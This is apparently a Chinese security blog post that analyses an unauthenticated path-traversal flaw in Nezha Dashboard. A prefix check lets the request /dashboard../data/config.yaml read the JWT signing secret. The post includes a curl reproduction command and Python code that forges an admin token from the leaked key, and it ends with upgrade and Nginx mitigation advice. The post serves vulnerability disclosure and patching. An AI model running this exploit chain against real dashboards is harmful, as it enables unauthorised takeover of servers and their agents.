联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

微信 plus6566 点击复制 QQ 826215906 点击复制

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

一分钟速读：Nezha Dashboard 的路由前缀校验存在逻辑缺陷——对 /dashboard 的前缀判断没有做路径段边界检查，攻击者用 /dashboard../ 即可逃逸出模板根目录，直达 data/config.yaml 拿到 JWT 签名密钥。手里有了密钥，伪造任意用户 Token、接管整个面板的控制权就不在话下了。

漏洞概览

一句话总结：不需要登录，不需要任何前置条件，一个 GET 请求就能把整个面板的 JWT 密钥读出来。

漏洞原理

问题出在哪

Nezha Dashboard 在处理静态资源时，为了隔离不同模板目录，在路由层做了一个前缀校验——检查请求路径是否以 /dashboard 开头。只允许通过前缀检查的请求进入模板渲染的逻辑。

逻辑本身没问题，但实现上踩了一个经典坑：前缀比对没有做路径段边界检查。

Go 的 strings.HasPrefix 只判断字符前缀，不关心你后面跟的是 /、..、还是别的什么。于是攻击者构造出这样的路径：

/dashboard../data/config.yaml

拆开看：

• /dashboard —— 通过了前缀检查，“合法”
• ../ —— 往上跳一层，跳出模板目录
• data/config.yaml —— 命中 Dashboard 的工作目录，拿到配置文件

每一步都不违反代码的字面逻辑，但组合起来就把目录限制彻底穿透了。

用伪代码理解这个缺陷：

// 原始逻辑（有漏洞）
if strings.HasPrefix(r.URL.Path, "/dashboard") {
    // 渲染模板文件...
    tmpl.Execute(w, filepath.Join(tmplRoot, r.URL.Path))
}

// 实际解析：
// r.URL.Path = "/dashboard../data/config.yaml"
// HasPrefix 返回 true ← 漏洞点
// filepath.Join(tmplRoot, "/dashboard../data/config.yaml")
//   → tmplRoot + "../data/config.yaml"
//   → 逃逸成功

filepath.Join 会对 .. 做规范化处理，于是路径就从模板目录往上跳了一级，进入了 Dashboard 的工作目录——配置文件、数据库、日志，全在射程范围内。

为什么说这个洞"严重"

大部分路径穿越漏洞能读文件，但读出来的是 HTML、JS、CSS 或者没什么用的系统文件。这个洞读的是 config.yaml，里面躺着什么？

jwt_secret_key: "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

JWT 签名密钥是整个认证体系的命根子。有了它，攻击者可以：

1. 伪造任意用户 Token——用泄露的密钥签名一个管理员身份的 JWT，面板直接认你为 admin
2. 劫持所有 Agent 通信——Agent 与 Dashboard 之间的 gRPC 通信如果也用这套 JWT 做鉴权，伪造 Token 就能下发任意指令
3. 持久化控制——密钥轮换需要重启服务且所有 Agent 重连，运维窗口期往往长达数天，这给了攻击者充裕的时间

CVSS 9.1 的评分拆解开来看：

• AV:N（网络可达）—— HTTP 端口默认暴露
• AC:L（复杂度低）—— 一个 GET 请求即可
• PR:N（无需认证）—— 匿名访问
• UI:N（无需用户交互）—— 纯自动化
• C:H / I:H（机密性高 / 完整性高）—— 拿到密钥等于拿到一切

复现步骤

假设靶标环境 Nezha Dashboard 监听在 http://target:8008：

# 第一步：未授权读取配置文件
curl -s http://target:8008/dashboard../data/config.yaml

# 正常响应会返回完整的 YAML 配置，其中包含：
# jwt_secret_key: "xxxxxx..."

拿到密钥后，用 Python 快速伪造一个管理员 JWT：

import jwt
import time

secret = "泄露的密钥"

payload = {
    "user_id": 1,          # admin 通常是 uid=1
    "username": "admin",
    "role": "admin",
    "iat": int(time.time()),
    "exp": int(time.time()) + 86400 * 7  # 7 天有效期
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

将伪造的 Token 填入浏览器 Cookie 或 Authorization Header，刷新面板页面——你已经是管理员了。

修复方案

升级

直接升级到 Nezha v2.0.13 或更高版本。官方补丁将前缀检查改为了段感知（segment-aware）的路径校验——不再是简单的字符串前缀匹配，而是确保路径被正确规范化后不会逃逸出模板根目录。

临时缓解

如果暂时无法升级，推荐在反向代理层做路径规范化防护。以 Nginx 为例：

location /dashboard {
    # 规范化 URI，折叠 ../ 等目录回溯符
    set $safe_uri $uri;
    if ($uri ~ \.\./) {
        return 403;
    }
    proxy_pass http://nezha_dashboard;
}

但由于 Go 的 filepath.Join 在服务端也会做规范化，仅靠反向代理层的黑名单拦截存在绕过风险，升级才是正道。

写在最后

这个洞的技术原理并不复杂——就是一个路径段边界检查缺失。但它打到的是整个认证体系的密钥源头，所以危害直接拉满。

做安全攻防的时候，有时候不需要绕过 WAF、不需要 0day 链——一个边界条件的疏忽，就能让整个系统的安全假设全部崩塌。

CVSS 9.1，名副其实。